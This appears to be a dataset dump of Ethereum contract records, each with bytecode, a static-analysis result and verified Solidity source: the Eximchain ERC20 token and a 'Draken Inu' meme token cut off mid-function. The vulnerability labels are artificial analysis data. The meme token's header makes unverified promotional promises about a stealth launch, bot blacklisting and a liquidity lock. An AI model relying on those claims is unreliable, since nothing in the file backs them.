60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b612a2681612809565b8114612a3157600080fd5b50565b612a3d8161281b565b8114612a4857600080fd5b50565b612a5481612847565b8114612a5f57600080fd5b5056fea2646970667358221220ecafbf566d511c837cdf8a8186ccbf0cbbff7003342d6771e3c9382b778600d664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,379 |
0x00c4B398500645eb5dA00a1a379a88B11683ba01
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Owned - Ownership model with 2 phase transfers
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
// Implements a simple ownership model with 2-phase transfer.
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferInitiated(address indexed _proposedOwner);
event OwnershipTransferCompleted(address indexed _newOwner);
function Owned() public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(isOwner(msg.sender) == true);
_;
}
function isOwner(address _address) public view returns (bool) {
return (_address == owner);
}
function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) {
require(_proposedOwner != address(0));
require(_proposedOwner != address(this));
require(_proposedOwner != owner);
proposedOwner = _proposedOwner;
OwnershipTransferInitiated(proposedOwner);
return true;
}
function completeOwnershipTransfer() public returns (bool) {
require(msg.sender == proposedOwner);
owner = msg.sender;
proposedOwner = address(0);
OwnershipTransferCompleted(owner);
return true;
}
}
// ----------------------------------------------------------------------------
// OpsManaged - Implements an Owner and Ops Permission Model
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
//
// Implements a security model with owner and ops.
//
contract OpsManaged is Owned {
address public opsAddress;
event OpsAddressUpdated(address indexed _newAddress);
function OpsManaged() public
Owned()
{
}
modifier onlyOwnerOrOps() {
require(isOwnerOrOps(msg.sender));
_;
}
function isOps(address _address) public view returns (bool) {
return (opsAddress != address(0) && _address == opsAddress);
}
function isOwnerOrOps(address _address) public view returns (bool) {
return (isOwner(_address) || isOps(_address));
}
function setOpsAddress(address _newOpsAddress) public onlyOwner returns (bool) {
require(_newOpsAddress != owner);
require(_newOpsAddress != address(this));
opsAddress = _newOpsAddress;
OpsAddressUpdated(opsAddress);
return true;
}
}
// ----------------------------------------------------------------------------
// Finalizable - Basic implementation of the finalization pattern
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
contract Finalizable is Owned {
bool public finalized;
event Finalized();
function Finalizable() public
Owned()
{
finalized = false;
}
function finalize() public onlyOwner returns (bool) {
require(!finalized);
finalized = true;
Finalized();
return true;
}
}
// ----------------------------------------------------------------------------
// Math - General Math Utility Library
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
library Math {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 r = a + b;
require(r >= a);
return r;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 r = a * b;
require(r / a == b);
return r;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
// ----------------------------------------------------------------------------
// ERC20Interface - Standard ERC20 Interface Definition
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Based on the final ERC20 specification at:
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
// ----------------------------------------------------------------------------
// ERC20Token - Standard ERC20 Implementation
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface {
using Math for uint256;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
uint256 internal tokenTotalSupply;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) allowed;
function ERC20Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokenHolder) public {
tokenName = _name;
tokenSymbol = _symbol;
tokenDecimals = _decimals;
tokenTotalSupply = _totalSupply;
// The initial balance of tokens is assigned to the given token holder address.
balances[_initialTokenHolder] = _totalSupply;
// Per EIP20, the constructor should fire a Transfer event if tokens are assigned to an account.
Transfer(0x0, _initialTokenHolder, _totalSupply);
}
function name() public view returns (string) {
return tokenName;
}
function symbol() public view returns (string) {
return tokenSymbol;
}
function decimals() public view returns (uint8) {
return tokenDecimals;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
// ----------------------------------------------------------------------------
// FinalizableToken - Extension to ERC20Token with ops and finalization
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
//
// ERC20 token with the following additions:
// 1. Owner/Ops Ownership
// 2. Finalization
//
contract FinalizableToken is ERC20Token, OpsManaged, Finalizable {
using Math for uint256;
// The constructor will assign the initial token supply to the owner (msg.sender).
function FinalizableToken(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public
ERC20Token(_name, _symbol, _decimals, _totalSupply, msg.sender)
OpsManaged()
Finalizable()
{
}
function transfer(address _to, uint256 _value) public returns (bool success) {
validateTransfer(msg.sender, _to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
validateTransfer(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function validateTransfer(address _sender, address _to) private view {
// Once the token is finalized, everybody can transfer tokens.
if (finalized) {
return;
}
if (isOwner(_to)) {
return;
}
// Before the token is finalized, only owner and ops are allowed to initiate transfers.
// This allows them to move tokens while the sale is still ongoing for example.
require(isOwnerOrOps(_sender));
}
}
// ----------------------------------------------------------------------------
// Eximchain Token Contract Configuration
//
// Copyright (c) 2017 Eximchain Pte. Ltd.
// http://www.eximchain.com/
//
// The MIT Licence.
// ----------------------------------------------------------------------------
contract EximchainTokenConfig {
string public constant TOKEN_SYMBOL = "EXC";
string public constant TOKEN_NAME = "Eximchain Token";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant TOKEN_TOTALSUPPLY = 150000000 * DECIMALSFACTOR;
}
// ----------------------------------------------------------------------------
// Eximchain Token Contract
//
// Copyright (c) 2017 Eximchain Pte. Ltd.
// http://www.eximchain.com/
// The MIT Licence.
//
// Based on FinalizableToken contract from Enuma Technologies.
// Copyright (c) 2017 Enuma Technologies
// https://www.enuma.io/
// ----------------------------------------------------------------------------
contract EximchainToken is FinalizableToken, EximchainTokenConfig {
bool public frozen;
//
// Events
//
event TokensBurnt(address indexed _account, uint256 _amount);
event TokensReclaimed(uint256 _amount);
event Frozen();
function EximchainToken() public
FinalizableToken(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, TOKEN_TOTALSUPPLY)
{
frozen = false;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!frozen);
return super.transferFrom(_from, _to, _value);
}
// Allows a token holder to burn tokens. Once burned, tokens are permanently
// removed from the total supply.
function burn(uint256 _amount) public returns (bool) {
require(_amount > 0);
address account = msg.sender;
require(_amount <= balanceOf(account));
balances[account] = balances[account].sub(_amount);
tokenTotalSupply = tokenTotalSupply.sub(_amount);
TokensBurnt(account, _amount);
return true;
}
// Allows the owner to reclaim tokens that are assigned to the token contract itself.
function reclaimTokens() public onlyOwner returns (bool) {
address account = address(this);
uint256 amount = balanceOf(account);
if (amount == 0) {
return false;
}
balances[account] = balances[account].sub(amount);
balances[owner] = balances[owner].add(amount);
Transfer(account, owner, amount);
TokensReclaimed(amount);
return true;
}
// Allows the owner to permanently disable token transfers. This can be used
// once side chain is ready and the owner wants to stop transfers to take a snapshot
// of token balances for the genesis of the side chain.
function freeze() public onlyOwner returns (bool) {
require(!frozen);
frozen = true;
Frozen();
return true;
}
}
|
0x6060604052600436106101745763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663054f7d9c811461017957806306fdde03146101a0578063095ea7b31461022a57806318160ddd1461024c578063188214001461027157806323b872dd146102845780632a905318146102ac5780632f54bf6e146102bf578063313ce567146102de5780633c54caa51461030757806342966c681461031a5780634bb278f3146103305780635b7f415c1461034357806362a5af3b14610356578063707789c51461036957806370a082311461038857806374c950fb146103a75780638bc04eb7146103ba5780638da5cb5b146103cd5780638ea64376146103fc57806395d89b411461040f578063a9059cbb14610422578063adcf59ee14610444578063b3f05b9714610463578063c0b6f56114610476578063d153b60c14610495578063dd62ed3e146104a8578063e71a7811146104cd578063ef326c6d146104e0575b600080fd5b341561018457600080fd5b61018c6104ff565b604051901515815260200160405180910390f35b34156101ab57600080fd5b6101b361050f565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ef5780820151838201526020016101d7565b50505050905090810190601f16801561021c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023557600080fd5b61018c600160a060020a03600435166024356105b7565b341561025757600080fd5b61025f610623565b60405190815260200160405180910390f35b341561027c57600080fd5b6101b3610629565b341561028f57600080fd5b61018c600160a060020a0360043581169060243516604435610660565b34156102b757600080fd5b6101b361068d565b34156102ca57600080fd5b61018c600160a060020a03600435166106c4565b34156102e957600080fd5b6102f16106d8565b60405160ff909116815260200160405180910390f35b341561031257600080fd5b61018c6106e1565b341561032557600080fd5b61018c600435610818565b341561033b57600080fd5b61018c6108dc565b341561034e57600080fd5b6102f1610962565b341561036157600080fd5b61018c610967565b341561037457600080fd5b61018c600160a060020a03600435166109ee565b341561039357600080fd5b61025f600160a060020a0360043516610aa6565b34156103b257600080fd5b61025f610ac1565b34156103c557600080fd5b61025f610ad0565b34156103d857600080fd5b6103e0610adc565b604051600160a060020a03909116815260200160405180910390f35b341561040757600080fd5b6103e0610aeb565b341561041a57600080fd5b6101b3610afa565b341561042d57600080fd5b61018c600160a060020a0360043516602435610b6d565b341561044f57600080fd5b61018c600160a060020a0360043516610b98565b341561046e57600080fd5b61018c610bb8565b341561048157600080fd5b61018c600160a060020a0360043516610bc8565b34156104a057600080fd5b6103e0610c95565b34156104b357600080fd5b61025f600160a060020a0360043581169060243516610ca4565b34156104d857600080fd5b61018c610ccf565b34156104eb57600080fd5b61018c600160a060020a0360043516610d57565b60085460a860020a900460ff1681565b610517610fec565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035490565b60408051908101604052600f81527f4578696d636861696e20546f6b656e0000000000000000000000000000000000602082015281565b60085460009060a860020a900460ff161561067a57600080fd5b610685848484610d84565b949350505050565b60408051908101604052600381527f4558430000000000000000000000000000000000000000000000000000000000602082015281565b600654600160a060020a0390811691161490565b60025460ff1690565b60008060006106ef336106c4565b15156001146106fd57600080fd5b30915061070982610aa6565b905080151561071b5760009250610813565b600160a060020a038216600090815260046020526040902054610744908263ffffffff610d9b16565b600160a060020a03808416600090815260046020526040808220939093556006549091168152205461077c908263ffffffff610db016565b60068054600160a060020a0390811660009081526004602052604090819020939093559054811691908416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a37fbce3cc672456937708767d1642a17cacb1962753bd5cff46c8dbd377906a6b4b8160405190815260200160405180910390a1600192505b505090565b60008080831161082757600080fd5b503361083281610aa6565b83111561083e57600080fd5b600160a060020a038116600090815260046020526040902054610867908463ffffffff610d9b16565b600160a060020a038216600090815260046020526040902055600354610893908463ffffffff610d9b16565b600355600160a060020a0381167f22d306e0cdbeeb823d6327362b35337dc3125a6aa905b6a014da1b08a5389ba48460405190815260200160405180910390a250600192915050565b60006108e7336106c4565b15156001146108f557600080fd5b60085460a060020a900460ff161561090c57600080fd5b6008805474ff0000000000000000000000000000000000000000191660a060020a1790557f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a150600190565b601281565b6000610972336106c4565b151560011461098057600080fd5b60085460a860020a900460ff161561099757600080fd5b6008805475ff000000000000000000000000000000000000000000191660a860020a1790557fa8cab3d1893ed53071b052fafa843143492f25d1d6b0170d460789f7ab1954be60405160405180910390a150600190565b60006109f9336106c4565b1515600114610a0757600080fd5b600654600160a060020a0383811691161415610a2257600080fd5b30600160a060020a031682600160a060020a031614151515610a4357600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169190911791829055167f06171a5d6c06d67b0cfa679c07db377a27d1170797663fd98d395229d8c3650860405160405180910390a2506001919050565b600160a060020a031660009081526004602052604090205490565b6a7c13bc4b2c133c5600000081565b670de0b6b3a764000081565b600654600160a060020a031681565b600854600160a060020a031681565b610b02610fec565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b60085460009060a860020a900460ff1615610b8757600080fd5b610b918383610dc2565b9392505050565b6000610ba3826106c4565b80610bb25750610bb282610d57565b92915050565b60085460a060020a900460ff1681565b6000610bd3336106c4565b1515600114610be157600080fd5b600160a060020a0382161515610bf657600080fd5b30600160a060020a031682600160a060020a031614151515610c1757600080fd5b600654600160a060020a0383811691161415610c3257600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038481169190911791829055167f20f5afdf40bf7b43c89031a5d4369a30b159e512d164aa46124bcb706b4a1caf60405160405180910390a2506001919050565b600754600160a060020a031681565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60075460009033600160a060020a03908116911614610ced57600080fd5b60068054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179283905560078054909216909155167f624adc4c72536289dd9d5439ccdeccd8923cb9af95fb626b21935447c77b840760405160405180910390a250600190565b600854600090600160a060020a031615801590610bb2575050600854600160a060020a0390811691161490565b6000610d903384610dd8565b610685848484610e1a565b600081831015610daa57600080fd5b50900390565b600082820183811015610b9157600080fd5b6000610dce3384610dd8565b610b918383610f2d565b60085460a060020a900460ff1615610def57610e16565b610df8816106c4565b15610e0257610e16565b610e0b82610b98565b1515610e1657600080fd5b5050565b600160a060020a038316600090815260046020526040812054610e43908363ffffffff610d9b16565b600160a060020a0380861660009081526004602090815260408083209490945560058152838220339093168252919091522054610e86908363ffffffff610d9b16565b600160a060020a0380861660009081526005602090815260408083203385168452825280832094909455918616815260049091522054610ecc908363ffffffff610db016565b600160a060020a03808516600081815260046020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a033316600090815260046020526040812054610f56908363ffffffff610d9b16565b600160a060020a033381166000908152600460205260408082209390935590851681522054610f8b908363ffffffff610db016565b600160a060020a0380851660008181526004602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b602060405190810160405260008152905600a165627a7a72305820bc80f5dabc8a207b146fc4e955be1606f22f7f51def8985fd16a7d8de1f09c740029
|
{"success": true, "error": null, "results": {}}
| 6,380 |
0x81680f673d791908ea2cbe2f05c6f2aaf8ffa7ff
|
/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
______ _______ _______ _ _______ _ _________ _
( __ \ ( ____ )( ___ )| \ /\( ____ \( ( /| \__ __/( ( /||\ /|
| ( \ )| ( )|| ( ) || \ / /| ( \/| \ ( | ) ( | \ ( || ) ( |
| | ) || (____)|| (___) || (_/ / | (__ | \ | | | | | \ | || | | |
| | | || __)| ___ || _ ( | __) | (\ \) | | | | (\ \) || | | |
| | ) || (\ ( | ( ) || ( \ \ | ( | | \ | | | | | \ || | | |
| (__/ )| ) \ \__| ) ( || / \ \| (____/\| ) \ | ___) (___| ) \ || (___) |
(______/ |/ \__/|/ \||_/ \/(_______/|/ )_) \_______/|/ )_)(_______)
Website: Revealead at 200k MC (you'll find it on our telegram)
Telegram: Revealed at 100k MC (you'll find it EASILY on Telegram)
✨ Initial liquidity: 3 ETH
✨ Anti-Bot / Anti-Snipe: Activated
- bots will be blacklisted
✨100% STEALTHLAUNCH, NOBODY KNOWS.
✨ Max Wallet 3% / Max Tx 2%
✨ 7% on buys and sells at launch, renounced asap
I will lock the liquidity on team.finance for 1 month, you can check it on dextools.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DrakenInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Draken Inu";
string private constant _symbol = "Draken Inu";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 7;
//Sell Fee
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x3e67adff1c6240566c610e26c190CFa12A92f6b6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 21000000 * 10**9; //2
uint256 public _maxWalletSize = 32000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
